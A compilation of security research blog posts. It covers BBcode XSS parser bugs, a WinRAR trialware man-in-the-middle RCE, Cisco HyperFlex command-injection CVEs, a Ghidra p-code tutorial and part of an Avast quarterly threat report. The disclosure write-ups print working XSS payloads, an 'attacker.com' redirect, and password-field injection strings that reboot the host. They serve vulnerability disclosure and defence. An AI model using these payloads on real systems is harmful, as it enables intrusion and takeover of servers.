<a href='http://a<a href='http://onmouseover=alert(1)// a' onclick='window.open(this.href); return false;'>a' onclick='window.open(this.href); return false;'>http://a[url=http://onmouseover=alert(1)// a]a</a></a>

SCEditor < 3 / SMF 2.1 – 2.1 RC3

CVE: not assigned

XSS vector (BBcode + BBcode):

[email]a@a[size="onfocus=alert(1) contenteditable tabindex=0 id=xss q"]a[/email].a[/size]

HTML output:

<a href="mailto:a@a<font size="onfocus=alert(1) contenteditable tabindex=0 id=xss q">a</font>">a@a<font size="onfocus=alert(1) contenteditable tabindex=0 id=xss q">a</font></a><font size="onfocus=alert(1) contenteditable tabindex=0 id=xss q">.a</font>

PunBB

CVE: CVE-2021-28968

XSS vector (emal BBcode + url BBcode inside b BBcode):

[email][email protected][b][url]http://onmouseover=alert(1)//[/url][/b]a[/email]

HTML output:

<a href="mailto:[email protected]<strong><a href="http://onmouseover=alert(1)//">http://onmouseover=alert(1)//</a></strong>a">[email protected]<strong><a href="http://onmouseover=alert(1)//">http://onmouseover=alert(1)//</a></strong>a</a>

Vanilla forums

CVE: not assigned

XSS vector (HTML <img alt> + HTML <img>):

<img alt="<img onerror=alert(1)//"<"> 

HTML output:

img alt="<img onerror=alert(1)//" src="src" />

Recommendations for elimination

Based on our findings, we can say that one of the best options for sanitization that could protect even the parsers with the nesting conditions is the complete encoding of the user input to HTML entities:

For example, let us look at the Phorum CMS that has already been patched.

In the last version of this CMS, one of the BBcodes encodes all user input to HTML entities. And it’s an XSS when we tried to reproduce it on previous versions. This patch indeed is a great example:

my e-mail: [email][email protected][/email]
Message HTML source
Rendered message

WinRAR’s vulnerable trialware: when free software isn’t free

By: admin
20 October 2021 at 14:01

In this article we discuss a vulnerability in the trial version of WinRAR which has significant consequences for the management of third-party software. This vulnerability allows an attacker to intercept and modify requests sent to the user of the application. This can be used to achieve Remote Code Execution (RCE) on a victim’s computer. It has been assigned the CVE ID – CVE-2021-35052.

Background

WinRAR is an application for managing archive files on Windows operating systems. It allows for the creation and unpacking of common archive formats such as RAR and ZIP. It is distributed as trialware, allowing a user to experience the full features of the application for a set number of days. After which a user may continue to use the applications with some features disabled.

Findings

We found this vulnerability by chance, in WinRAR version 5.70. We had installed and used the application for some period, when it produced a JavaScript error:

Error that indicates WebBrowser JS parser inside of WinRAR

This was surprising as the error indicates that the Internet Explorer engine is rendering this error window.

After a few experiments, it became clear that once the trial period has expired, then about one time out of three launches of WinRAR.exe application result in this notification window being shown. This window uses mshtml.dll implementation for Borland C++ in which WinRAR has been written.

Microsoft MSHTML Remote Code Execution Vulnerability
CVE-2021-40444

We set up our local Burp Suite as a default Windows proxy and try to intercept traffic and to understand more about why this was happening and whether it would be possible to exploit this error. As the request is sent via HTTPS, the user of WinRAR will get a notification about the insecure self-signed certificate that Burp uses. However, in experience, many users click “Yes” to proceed, to use the application.

Additional alert that the user gets during the MiTM attack

Looking at the request itself, we can see the version (5.7.0) and architecture (x64) of the WinRAR application:

GET /?language=English&source=RARLAB&landingpage=expired&version=570&architecture=64 HTTP/1.1
Accept: */*
Accept-Language: ru-RU
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3)
Host: notifier.rarlab.com 
Connection: close
Cookie: _wr=; _gid=; _ga=

Modifying Responses to The End User

Next, we attempted to modify intercepted responses from WinRAR to the user. Instead of intercepting and changing the default domain “notifier.rarlab.com” responses each time with our malicious content, we noticed that if the response code is changed to “301 Moved Permanently” then the redirection to our malicious domain “attacker.com” will be cached and all requests will go to the “attacker.com”.

HTTP/1.1 301 Moved Permanently
content-length: 0
Location: http://attacker.com/?language=English&source=RARLAB&landingpage=expired&version=570&architecture=64
connection: close

Remote Code Execution

This Man-in-the-Middle attack requires ARP-spoofing, so we presume that a potential attacker already has access to the same network domain. This will put us into Zone 1 of the IE security zones. We attempted several different attack vectors to see what is feasible with this kind of access.

<a href="file://10.0.12.34/applications/test.jar">file://10.0.12.34/applications/test.jar</a><br>
<a href="\\10.0.12.34/applications/test.jar">\\10.0.12.34/applications/test.jar</a><br>
<a href="file://localhost/C:/windows/system32/drivers/etc/hosts">file://localhost/C:/windows/system32/drivers/etc/hosts</a><br>
<a href="file:///C:/windows/system32/calc.exe">file:///C:/windows/system32/calc.exe</a><br>
<a href="file:///C:\\windows\\system.ini">file:///C:\\windows\\system.ini</a><br>

The code above depicts the spoofed response showing several possible attack vectors such as running applications, retrieving local host information, and running the calculator application.

Pop-up with links to run various applications and open system files
Successful execution of the calculator application in Windows

Most of the attack vectors were successful but it should be noted that many result in an additional Windows security warning. For these to be a success, the user would need to click “Run” instead of “Cancel”.

Additional Windows security warning that appears when running certain types of files

However, there are some file types that can be run without the security warning appearing. These are:

• .DOCX
• .PDF
• .PY
• .RAR

Remote code execution is possible with RAR files in WinRAR against versions earlier than 5.7. This can be done via a well-known exploit, CVE-2018-20250.

Conclusion

One of the biggest challenges an organization faces is the management of third-party software. Once installed, third-party software has access to read, write, and modify data on devices which access corporate networks. It’s impossible to audit every application that could be installed by a user and so policy is critical to managing the risk associated with external applications and balancing this risk against the business need for a variety of applications. Improper management can have wide reaching consequences.

Cisco Hyperflex: How We Got RCE Through Login Form and Other Findings

By: admin
29 September 2021 at 13:57

In February 2021, we had the opportunity to assess the HyperFlex HX platform from Cisco during a routine customer engagement. This resulted in the detection of three significant vulnerabilities. In this article we discuss our findings and will explain why they exist in the platform, how they can be exploited and the significance of these vulnerabilities.

The vulnerabilities discussed have been assigned CVE ID’s and considered in Cisco’s subsequent Security Advisories (12). These are:

  • CVE-2021-1497
    Cisco HyperFlex HX Installer Virtual Machine Command Injection Vulnerability (CVSS Base Score: 9.8);
  • CVE-2021-1498
    Cisco HyperFlex HX Data Platform Command Injection Vulnerability (CVSS Base Score: 7.3);
  • CVE-2021-1499
    the Cisco HyperFlex the HX the Data Platform the Upload the File Vulnerability (CVSS Base Score: 5.3)

Background

Cisco HyperFlex HX is a set of systems that combine various networks and computing resources into a single platform. One of the key features of the Cisco HyperFlex HX Data Platform(software-defined storage) is that it allows the end user to work with various storage devices and virtualize all elements and processes. This allows the user to easily back up data, allocate resources or clone resources. This concept is called Hyperconverged Infrastructure (HCI) . You read more about this on the Cisco website “Hyperconverged Infrastructure (the HCI): HyperFlex” and “Cisco HyperFlex the HX-the Series“.

Cisco HyperFlex HX comes with a web interface, which allows for easy configuration. The version we tested is the Cisco HyperFlex HX Data Platform v4.5.1a-39020. This can be seen below:

Cisco HyperFlex HX web interface

The HyperFlex platform is deployed as an image on the Ubuntu operating system. Our initial inspection showed that nginx 1.8.1 is used as the front-end web server. Knowing this, we decided to look at the nginx configuration files to see what else we could learn. The nginx configuration for “springpath” project are located in the /usr/share/springpath/storfs-misc/ directory. Springpath developed a distributed file system for hyperconvergence, which Cisco acquired in 2017.

Location of nginx configuration files

Our priority was to gain access to the system management without any authentication. So we carried out a detailed examination of each route (location) in the configuration file. After a thorough investigation of the configuration file, we were able to prioritize areas to research further which may allow us to do so.

Findings

CVE -2021-1497: RCE through the password input field

Authentication is the process of verifying that a user is who they say they are. This process is frequently achieved by passing a username and a password to the application. Authorization is the process of granting access or denying access to a particular resource. Authentication and authorization are closely linked processes which determine who and what can be accessed by a user or application.

During our testing we noted that the process of authentication is handled by a third-party service. This is shown in the configuration file below:

Excerpt from configuration file specifying the use of the authentication service

By looking at the content of this configuration section, you can see that authentication process is handled by the binary file /opt/springpath/auth/auth. This service is a 64-bit ELF application. We noted that its size is larger than standard applications.. This could indicate a large amount of debugging information in the binary or a big compiled Golang project. The latter was quickly confirmed after reading section headers with the readelf command.

Information about authentication binary

The auth binary handles several URL requests:

  • /auth
  • /auth/change
  • /auth/logout
  • /auth/verify
  • /auth/sessionInfo

Most of these requests do not take user input, however the URL /auth and /auth/change allow user input through the parameter’s username, password and newPassword. The /auth page handles authentication. When a user enters their username and password, the HTTP request is sent as follows:

HTTP request to authenticate with the “root” username

Analysis of the authentication application showed that the credentials, are retrieved in the main_loginHandler function through the standard functions net/http.(*Request).ParseForm. Next, the login and password are passed to the main_validateLogin function. This function retrieves the value from the username parameter and the corresponding user hash from the /etc/shadow file. If the user exists, then a further process is executed which checks the password entered through the main_validatePassword function, using the main_checkHash function.

The hash value is calculated by calling a one-line Python script via os/exec.Command:

python -c "import crypt; print(crypt.crypt(\"OUR_PASS\", \"$6$$\"));"

Then the resulting hash value is extracted and compared with the value from /etc/shadow.

The is a big problem with this method of executing commands from Python is that allows for command injection. This is a significant vulnerability; there is no input validation, and any user input is passed to os/exec.Command as it was entered. Additionally, commands are executed with the privileges of the application, in this case root. It’s therefore trivial to execute systems commands with malicious intention. For example we entered the following into the password field, causing a reboot of the system:

123", "$6$$"));import os;os.system("reboot");print(crypt.crypt("

This vulnerability allows a malicious user to call a remote reverse shell with root privileges using only one HTTP request:

Command injection via the password parameter

The other URL that handles user input, /auth/change, also presents a way to execute arbitrary code.
The password change is handled by the main_changeHandler function. This works much the same as the login process /auth. The existence of the user is checked using the same processes and the password hash is calculated using the same function main_checkHash. In the value of the new password, newPassword we were able to pass the same input, causing a system reboot:

123", "$6$$"));import os;os.system("reboot");print(crypt.crypt("

Command injection via the newPassword parameter

We found two ways to trigger the remote execution of arbitrary code, using the /auth and /auth/change endpoints. However, as both the password and newPassword parameters use the same function, main_checkHash to execute external commands, the vendor only issued one CVE. A more secure way to execute external commands in python is to use the sub-process module and to validate the arguments taken from user input before execution.

CVE-2021-1498: Cisco HyperFlex HX Data Platform Command Injection Vulnerability

We analyzed the nginx configuration file and noticed that the /storfs-asup endpoint redirects all requests to the local Apache Tomcat server at TCP port 8000.

Excerpt from nginx configuration file
Retrieving information about process which listen the 8000 local port

We then looked at the Apache Tomcat configuration file, web.xml, we found:

Excerpt from Apache Tomcat configuration file

From this file it is clear that the /storfs-asup URL is processed by the StorfsAsup class, located at /var/lib/tomcat8/webapps/ROOT/WEB-INF/classes/com/storvisor/sysmgmt/service/StorfsAsup.class.

public class StorfsAsup extends HttpServlet {
...
  protected void processRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    String action = request.getParameter("action");
    if (action == null) {
      String msg = "Action for the servlet need be specified.";
      writeErrorResponse(response, msg);
      return;
    } 
    try {
      String token = request.getParameter("token");
      StringBuilder cmd = new StringBuilder();
      cmd.append("exec /bin/storfs-asup ");
      cmd.append(token);
      String mode = request.getParameter("mode");
      cmd.append("  ");
      cmd.append(mode);
      cmd.append("  > /dev/null");
      logger.info("storfs-asup cmd to run : " + cmd);
      ProcessBuilder pb = new ProcessBuilder(new String[] { "/bin/bash", "-c", cmd.toString() });
      logger.info("Starting the storfs-asup now: ");
      long startTime = System.currentTimeMillis();
      Process p = pb.start();
      ...
    }
    ... 
  }
}

When analyzing this class, we noticed that the parameters received from the user are not filtered in any way or validated in anyway. They are passed to a string, which is subsequently executed as an operating system command. Based on this information, we can form a malicious GET request, that will be executed as an OS command.

GET /storfs-asup/?Action=asd&token=%60[any_OS_command]%60 HTTP/1.1
Host: 192.168.31.76
Connection: close
 

This results in the execution of arbitrary commands on the server from an unauthenticated user.

Getting a reverse shell as the result of the vulnerability exploitation

It is worth noting that the web path /storfs-asup is only available if port 80 is accessible externally. To exploit the vulnerability through port 443, the request needs to be modified to use the path /crossdomain.xml/..;/storfs-asup/. This works because the nginx configuration file specifies that all requests starting with /crossdomain.xml are proxied to Tomcat and using the well-known directory traversal tomcat technique “..;/“, we can access any servlet on the tomcat web server.

CVE-2021-1499: Cisco HyperFlex HX Data Platform File Upload Vulnerability

Closer inspection of the nginx configuration file showed us the following location for file uploads:

To request this URL, no authorization is required and the path is accessible externally. As is the vulnerability CVE-2021-1498, this is setup in a similar way. A request to the proxy application which is listening on port 8000 for incoming connections.

As an experiment, we sent a multipart request for directory traversal and it was accepted.

Directory traversal in the file upload HTTP request

As a result, the file with the name passwd9 was created for the user “tomcat8” in the specified directory:

Newly created file

The complete lack of authentication means that we are able to download any arbitrary files to any location on the file system with “tomcat8” user privileges. This is a significant oversight of the developer’s part.

During the process of publishing this paper we gained a broader understanding of the vulnerability allowing us to execute arbitrary code. The vulnerability seems a lot less harmless now, than it did before. The details are available at the following link.

Not every mistake is a mistake

The default route in the nginx configuration file also brought our attention. This route handles all HTTP requests that do not meet any of the other described rules in the configuration file. These requests are redirected to port 8002, which is only available internally.

Excerpt from configuration file specifying the default location

As with the auth binary, this route is handled by the installer 64-bit ELF application and is also written in Golang.

Retrieving information about process which listen the 8002 port

Assessment showed that this application is a compiled 64-bit Golang project. This application was made for handling the /api/* requests. To work with the API interface, it is necessary to have an authorization token. The installer binary handles the following endpoints:

  • /api/run
  • /api/orgs
  • /api/poll
  • /api/about
  • /api/proxy
  • /api/reset
  • /api/config
  • /api/fields
  • /api/upload
  • /api/restart
  • /api/servers
  • /api/query_hfp
  • /api/hypervisor
  • /api/datacenters
  • /api/logOnServer
  • /api/add_ip_block
  • /api/job/{job_id}
  • /api/tech_support
  • /api/write_config
  • /api/validate_ucsm
  • /api/update_catalog
  • /api/upload_catalog
  • /api/validate_login

Though the initial requirement for this research was to find vulnerabilities that don’t require prerequisites or authentication, this finding requires a user to be logged into the Cisco HyperFlex web interface. We analyzed the endpoint handlers and found two requests that were working with the file system. The /api/update_catalog and /api/upload routes allowed us to upload arbitrary files to a specific directory. The handlers responsible for working with the URL data are main_uploadCatalogHandler and main_uploadHandler.

In the first case, the files we transferred were written to the /opt/springpath/packages/ directory. Using a simple path traversal attack, we were able to write a file outside of this directory in an arbitrary location on the system.

Directory traversal in the file upload HTTP request
Files created via Directory traversal

As a result, we are able to write files to any place on the system as these requests are made with root privileges.

The second example of requests causes a file written to the /var/www/localhost/images/ directory, from the web interface. The works in a similar way to the previous request by changing the file name in an HTTP multipart POST request. This allows a malicious user to create a file anywhere on the file system.

Directory traversal in the file upload HTTP request
Files created via Directory traversal

Cisco does not consider these as vulnerabilities, assuming that if the attacker knows customer credentials, it would be possible to log in via enabled SSH server. However, we still consider this code to be poorly implemented.

Conclusion

This research project started as an opportunity during a routine customer engagement. What we found is three significant vulnerabilities. These vulnerabilities are the result of a lack of input validation, improper management of authentication and authorization, and reliance on third party code. These can be mitigated by following secure coding best practices and ensuring that security testing is an integral part of the development process.

Command injection vulnerabilities remain a significant issue in industry, despite the development of best practices such as SSDLC (Secure Software Development Lifecycle). This could be solved in two parts. First if there is appetite in the industry to make best practices a requirement through standards. Second, if external testing is implemented to assess if standards are adhered two.

Finally, it should be noted that third-party products are often not up to the same rigorous security standards that are implemented in existing product lines. The acquisition and integration of third-party products is a difficult path to manage. Every acquisition should involve thorough review of coding practices and security testing. In some cases, they may benefit from a complete overall to ensure that data is handled consistently between components and in a secure manner.

Guide to P-code Injection: Changing the intermediate representation of code on the fly in Ghidra

By: admin
2 June 2021 at 14:37

When we were developing the ghidra nodejs module for Ghidra, we realized that it was not always possible to correctly implement V8 (JavaScript engine that is used by Node.js) opcodes in SLEIGH. In such runtime environments as V8 and JVM, a single opcode might perform multiple complicated actions. To resolve this problem in Ghidra, a mechanism was designed for the dynamic injection of  p-code constructs, p-code being Ghidra’s intermediate language. Using this mechanism, we were able to transform the decompiler output from this:

to this:

Let’s look at an example with the CallRuntime opcode. It calls one function from the list of the so-called V8 Runtime functions using the kRuntimeId index. This instruction also has a variable number of arguments (range is the number of the initial argument-register; rangedst is the number of arguments). The instruction in SLEIGH, which Ghidra uses to define assembler instructions, looks like this:

This means you have to complete a whole lot of work for what would seem to be a fairly simple operation:

  1. Search for the required function name in the Runtime function array using the kRuntimeId index.
  2. Since arguments are passed through registers, you need to save their previous state.
  3. Pass a variable number of arguments to the function.
  4. Call the function and store the call result in the accumulator.
  5. Restore the previous state of registers.

If you know how to do this in SLEIGH, please let us know. We, however, decided that all this (especially the working with the variable number of register-arguments part) is not that easy (if even possible) to implement in the language for describing processor instructions, and we used the p-code dynamic injection mechanism, which the Ghidra developers implemented precisely for such cases. So, what is this mechanism?

We can create a custom user operation, such as CallRuntimeCallOther, in the assembler instruction description file (SLASPEC). Then, by changing the configuration of your module (more on this below), you can arrange it so that when Ghidra finds this instruction in the code, it will pass the processing of that instruciton back to Java dynamically, executing a callback handler that will dynamically generate p-code for the instruction, taking advantage of Java’s flexibility.

Let’s take a closer look at how this is done.

Creating User-Defined SLEIGH Operations

The CallRuntime opcode is described as follows. Read more about the description of processor instructions in SLEIGH in Natalya Tlyapova’s article.

We create the user-defined operation:

define pcodeop CallRuntimeCallOther;

And describe the instruction itself:

:CallRuntime [kRuntimeId], range^rangedst is op = 0x53; kRuntimeId; range; rangedst {
	CallRuntimeCallOther(2, 0);
}

By doing this, any opcode that starts from byte 0x53 will be decoded as CallRuntime. When we try to decompile it, the CallRuntimeCallOther operation handler will be called with arguments 2 and 0. These arguments describe the instruction type (CallRuntime) and help us write one handler for several similar instructions (such as CallWithSpread and CallUndefinedReceiver).

Necessary Housekeeping

We add a housekeeping p-code injection class: V8_PcodeInjectLibrary. We inherit this class from ghidra.program.model.lang.PcodeInjectLibrary, which implements most of the methods needed for p-code injection.

Let’s start writing the class V8_PcodeInjectLibrary from this template:

package v8_bytecode;

import …

public class V8_PcodeInjectLibrary extends PcodeInjectLibrary {

	public V8_PcodeInjectLibrary(SleighLanguage l) {

	}


}

V8_PcodeInjectLibrary won’t be used by the custom code, rather by the Ghidra engine, so we need to set the value of the pcodeInjectLibraryClass parameter in the PSPEC file so that the Ghidra engine knows which class to use for p-code injection.

<?xml version="1.0" encoding="UTF-8"?>
<processor_spec>
  <programcounter register="pc"/>
  <properties>
  	<property key="pcodeInjectLibraryClass" value="v8_bytecode.V8_PcodeInjectLibrary"/>
  </properties>
</processor_spec>

We will also need to add our CallRuntimeCallOther instruction to the CSPEC file. Ghidra will call V8_PcodeInjectLibrary only for instructions defined this way in the CSPEC file.

	<callotherfixup targetop="CallRuntimeCallOther">
		<pcode dynamic="true">			
			<input name=”outsize"/> 
		</pcode>
	</callotherfixup>

After all of these uncomplicated procedures (which, by the way, were barely described in the documentation at the time our module was being created), we can move on to writing the code.

Let’s create a HashSet, in which we will store the instructions we have implemented. We will also create and initialize a member of our class — the language variable. This code stores the CallRuntimeCallOther operation in a set of supported operations and it performs a number of housekeeping actions (we won’t go into too much detail on them).

public class V8_PcodeInjectLibrary extends PcodeInjectLibrary {
	private Set<String> implementedOps;
	private SleighLanguage language;

	public V8_PcodeInjectLibrary(SleighLanguage l) {
		super(l);
		language = l;
		String translateSpec = language.buildTranslatorTag(language.getAddressFactory(),
				getUniqueBase(), language.getSymbolTable());
		PcodeParser parser = null;
		try {
			parser = new PcodeParser(translateSpec);
		}
		catch (JDOMException e1) {
			e1.printStackTrace();
		}
		implementedOps = new HashSet<>();
		implementedOps.add("CallRuntimeCallOther");
	}
}

Thanks to the changes we have made, Ghidra will call the getPayload method of our V8_PcodeInjectLibrary class every time we try to decompile the CallRuntimeCallOther instruction. Let’s create this method, which, if there is an instruction in the list of implemented operations, will create an instance of the V8_InjectCallVariadic class (we will implement this class a little later) and return it.

@Override
	/**
	* This method is called by DecompileCallback.getPcodeInject.
	*/
	public InjectPayload getPayload(int type, String name, Program program, String context) {
		if (type == InjectPayload.CALLMECHANISM_TYPE) {
			return null;
		}

		if (!implementedOps.contains(name)) {
			return super.getPayload(type, name, program, context);
		}

		V8_InjectPayload payload = null; 
		switch (name) {
		case ("CallRuntimeCallOther"):
			payload = new V8_InjectCallVariadic("", language, 0);
			break;
		default:
			return super.getPayload(type, name, program, context);
		}

		return payload;
	}

P-Code Generation

The dynamic generation of p-code will be implemented in the V8_InjectCallVariadic class. Let’s create it and describe the operation types.

package v8_bytecode;

import …

public class V8_InjectCallVariadic extends V8_InjectPayload {

public V8_InjectCallVariadic(String sourceName, SleighLanguage language, long uniqBase) {
		super(sourceName, language, uniqBase);
	}
// Operation types. In this example, we are looking at RUNTIMETYPE
	int INTRINSICTYPE = 1;
	int RUNTIMETYPE = 2;
	int PROPERTYTYPE = 3;

	@Override
	public PcodeOp[] getPcode(Program program, InjectContext context) {
			}

	@Override
	public String getName() {
		return "InjectCallVariadic";
	}

}

It’s not hard to guess that we need to develop our implementation of the getPcode method. First, we will create a pCode object instance of the V8_PcodeOpEmitter class. This class will help us create p-code instructions (we will learn more about them later).

V8_PcodeOpEmitter pCode = new V8_PcodeOpEmitter(language, context.baseAddr, uniqueBase);

Then,  we can get the address of the instruction from the context argument (the context of the code injection), which we’ll find useful later.

Address opAddr = context.baseAddr;

Using this address will help us get the object of the current instruction:

Instruction instruction = program.getListing().getInstructionAt(opAddr);

Using the context argument, we’ll also get argument values that we described earlier in SLEIGH.

Integer funcType = (int) context.inputlist.get(0).getOffset();
Integer receiver = (int) context.inputlist.get(1).getOffset();

Now we implement instruction processing and p-code generation:

// check instruction type
if (funcType != PROPERTYTYPE) {
// we get kRuntimeId — the index of the called function
			Integer index = (int) instruction.getScalar(0).getValue();
// generate p-code to call the cpool instruction using the pCode object of the V8_PcodeOpEmitter class. We will focus on this in more detail below.
			pCode.emitAssignVarnodeFromPcodeOpCall("call_target", 4, "cpool", "0", "0x" + opAddr.toString(), index.toString(), 
					funcType.toString());
		}
...


// get the “register range” argument
Object[] tOpObjects = instruction.getOpObjects(2);
// get caller args count to save only necessary ones
Object[] opObjects;
Register recvOp = null;
if (receiver == 1) {
...
}
else {
opObjects = new Object[tOpObjects.length];
System.arraycopy(tOpObjects, 0, opObjects, 0, tOpObjects.length);
}


// get the number of arguments of the called function
try {
	callerParamsCount = program.getListing().getFunctionContaining(opAddr).getParameterCount();
}
catch(Exception e) {
	callerParamsCount = 0;
}

// store old values of the aN-like registers on the stack. This helps Ghidra to better detect the number of arguments of the called function
Integer callerArgIndex = 0;
for (; callerArgIndex < callerParamsCount; callerArgIndex++) {
	pCode.emitPushCat1Value("a" + callerArgIndex);
}

// store the arguments of the called function in aN-like registers
Integer argIndex = opObjects.length;
for (Object o: opObjects) {
	argIndex--;
	Register currentOp = (Register)o;
	pCode.emitAssignVarnodeFromVarnode("a" + argIndex, currentOp.toString(), 4);
}

// function call
pCode.emitVarnodeCall("call_target", 4);

// restore old register values from the stack
while (callerArgIndex > 0) {
	callerArgIndex--;
	pCode.emitPopCat1Value("a" + callerArgIndex);
}

// return an array of p-code operations
return pCode.getPcodeOps();

Let’s now look at the logic of the V8_PcodeOpEmitter class, which is largely based on a similar module class for JVM. This class generates p-code operations using a number of methods. Let’s take a look at them in the order in which they are addressed in our code.

emitAssignVarnodeFromPcodeOpCall(String varnodeName, int size, String pcodeop, String… args)

To understand how this method works, we’ll first consider the concept of Varnode — a basic element of p-code, which is essentially any variable in p-code. Registers, local variables — they are all Varnode.

Back to the method. This method generates p-code to call the pcodeop function with the args arguments and stores the result of the function in varnodeName. The result is:

varnodeName = pcodeop(args[0], args[1], …);

emitPushCat1Value(String valueName) and emitPopCat1Value (String valueName)

Generates p-code for analogous push and pop assembler operations with Varnode valueName.

emitAssignVarnodeFromVarnode (String varnodeOutName, String varnodeInName, int size)

Generates p-code for a value assignment operationvarnodeOutName = varnodeInName.

emitVarnodeCall (String target, int size)

Generates p-code for the target function call.

Conclusion

Thanks to the p-code injection mechanism, we have managed to significantly improve the output of the Ghidra decompiler. As a result, dynamic generation of p-code is now yet another building block in our considerable toolkit — a module for analyzing Node.js scripts compiled by bytenode. The module source code is available in our repository on github.com. Happy reverse engineering!

Many thanks to my colleagues for their research into the features of Node.js and for module development: Vladimir Kononovich, Natalia Tlyapova, and Sergey Fedonin.

Avast Q2/2022 Threat Report

10 August 2022 at 11:51

Farewell to Conti, Zloader, and Maldocs; Hello Resurrection of Raccoon Stealer, and more Ransomware Attacks

Foreword

Another quarter has passed, which means it’s time for us to share our Avast Q2/2022 Threat Report with the world. I must admit, time flies. It’s been exactly one year since we’ve started publishing these reports and this last year was everything but boring. This latest report is proof of that.

In Q2/2022, we witnessed just how quickly malware authors can adapt to changes. A few months ago Microsoft announced that it will make it difficult to run VBA macros in Office documents that were downloaded from the Internet. They backpedaled on that promise, but promised it again shortly after. Threat actors have already started preparing various alternative infection vectors, now that their beloved vector they had been using for decades is being blocked by default. For example, IcedID and Emotet have already started using LNK files, ISO or IMG images, and other tricks supported on the Windows platform as an alternative to maldocs to spread their campaigns. It’s likely you’ve already witnessed these in your inboxes.

Exploits spreading in-the-wild also made Q2/2022 interesting. For example, the Follina zero-day vulnerability in Office and Windows was widely exploited by all kinds of attackers. Our researchers also discovered and reported multiple serious zero-day exploits used by malware authors – CVE-2022-2294 affecting browsers from Google, Microsoft, and Apple. We also discovered a zero-day that Candiru exploited to get into the Windows kernel.

After months of decline, we’ve seen a significant (+24%) uptick of ransomware attacks in Q2/2022. This was partially connected to the usual ransomware suspects, but also to sudden changes happening with the Conti ransomware syndicate. Conti finally stopped its operations, but like with the mythical hydra – when you cut off a hydra’s head, two more will grow back, so we have many more ransomware groups and strains to track now. On the bright side, several new free ransomware decryptors were introduced in Q2/2022.

We participated in shutting down Zloader and witnessed the resurrection of Racoon Stealer, who’s core developer was allegedly killed in the Russian war in Ukraine. Speaking of these two countries, the malware risk ratio in these countries has stabilized, but is still higher. We also detected various malware types targeting our users in Japan, Germany, and Brazil in Q2/2022.

Fortunately, malicious cryptojacking coinminers decreased slightly in the quarter, which is good news for victims, as the energy costs are skyrocketing in many countries. And finally, I encourage you to read the mobile section where my colleagues discuss the rise and fall of the most prevalent mobile malware strains such as HiddenAds, Flubot, and SMSFactory.

Happy reading, and stay safe.

Jakub Křoustek, Malware Research Director

Methodology

This report is structured into two main sections – Desktop-related threats, where we describe our intelligence around attacks targeting the Windows, Linux, and Mac operating systems, and Mobile-related threats, where we describe the attacks focusing on the Android and iOS operating systems.

Furthermore, we use the term risk ratio in this report to describe the severity of particular threats, calculated as a monthly average of “Number of attacked users / Number of active users in a given country.” Unless stated otherwise, calculated risks are only available for countries with more than 10,000 active users per month.

Desktop-Related Threats

Advanced Persistent Threats (APTs)

Advanced Persistent Threats are typically created by nation state sponsored groups which, unlike cybercriminals, are not solely driven by financial gain. These groups pursue their nation states’ espionage agenda, which means that specific types of information, be it of geopolitical importance, intellectual property, or even information that could be used as a base for further espionage, are what they are after.

In Q2/2022, the most notable APT campaigns we observed came from the Confucius, Gadolinium/APT40, Gamaredon, and MustangPanda groups.

Confucius

Recently, we discovered a known APT group from India, Confucious, targeting Pakistani embassies in multiple countries like Brunei, Nepal, Argentina, and Azerbaijan from March to June 2022

The Confucious group spread their malware by sending phishing emails with PDF attachments, which contained links to phishing websites. These sites imitated official government websites which contained passwords for documents site visitors could download, these documents were malicious. This is done so that the files remain encrypted, to avert detection from static AV scanners.

We spotted malicious documents with various names related to current events, such as “VaccineStatusReport.xlsx”.

Vaccination Status Form document, with malicious macro

The group used documents with malicious macros to drop further infection stages written in C#. 

We also noticed several other malware families like trojan downloaders, file stealers, QuasarRAT and a custom RAT developed in C++ being dropped by the macros.

We suspect that the group may be after intelligence, based on the fact that the malware being used in their attacks is designed to spy on victims and steal files and other data. 

Gadolinium/APT40

We discovered a threat actor hosting payloads on an Australian VOIP telecommunications provider’s servers. The threat actor was abusing a zero-day remote code execution bug in Microsoft Office (CVE-2022-30190). Further analysis indicated that targets in Palau were sent malicious documents that, when opened, exploited the zero-day vulnerability, causing victims’ computers to contact the provider’s website, download and execute the malware, and subsequently become infected. Multiple stages of this attack were signed with a legitimate company certificate to add legitimacy.

When a malicious document was opened it contacted the compromised websites that hosted a first stage “Sihost.exe”, executed by msdt.exe. After execution it downloaded the second stage which was a loader. The loader was then used to download and decrypt the third stage of the attack, an encrypted file stored as ‘favicon.svg’ on the same web server. The third stage of the attack was also used to download and execute the fourth stage, which loads a shellcode from the AsyncRat malware family.

Thanks to the security community this attack was attributed to Gadolinium/APT40, a known Chinese APT group. Given a RAT was the final payload, we suspect the group may be collecting intel from its victims. 

Gamaredon

We saw a steady high volume of Gamaredon detections throughout Q2/2022, similar to what we have been observing since the start of the conflict in Ukraine in February. Gamaredon, a known Russian-backed APT group, continued using the same old toolset, as well as new powershell-based tools and their activity was still tightly focused on Ukraine.

Graph showing users Avast protected from Gamaredon’s spreading in Ukraine

MustangPanda

We’ve noticed multiple MustangPanda (a known Chinese APT group) campaigns running in parallel during Q2/2022 in multiple locations, including Philippines, Myanmar, Thailand, Singapore, Mongolia, and India, as well as in other, new regions the group previously hadn’t been present in. All of these campaigns utilized DLL sideloading for payload delivery, for which the group continued using well known abused binaries, similarly to their previous campaigns, but they also added a few new ones to their arsenal. 

Based on the language and content of the phishing documents they used, the group expanded their activities in Europe e.g. Baltic countries, as well as in South America. The main malware strain being used for the initial infection was still Korplug RAT.

Luigino Camastra, Malware Researcher
Igor Morgenstern, Malware Researcher
Jan Holman, Malware Researcher

Adware

Desktop adware has slowed down this quarter compared to Q1/2022, as the graph below illustrates:

Graph showing users (globally) Avast protected from desktop adware in Q2/2022

We have monitored a noticeable decrease in risk ratio for users in Africa, the Balkans, the Middle East, and Southeast Asia. On the other hand, there was an increase in risk ratio for users in South America, parts of Europe, and Central Asia; namely, Brazil, Austria, Germany, Switzerland, Tajikistan, and Uzbekistan; see the map below.

Map showing global risk ratio for adware in Q1/2022 vs. Q2/2022

In Q1/2022, we observed considerable adware activity in Japan that returned to its average level in Q2/2022. On the contrary, there was a rise in adware activity in Austria and Switzerland, as illustrated in the chart below.

Graph showing users in Austria and Switzerland Avast protected from desktop adware in Q2/2022

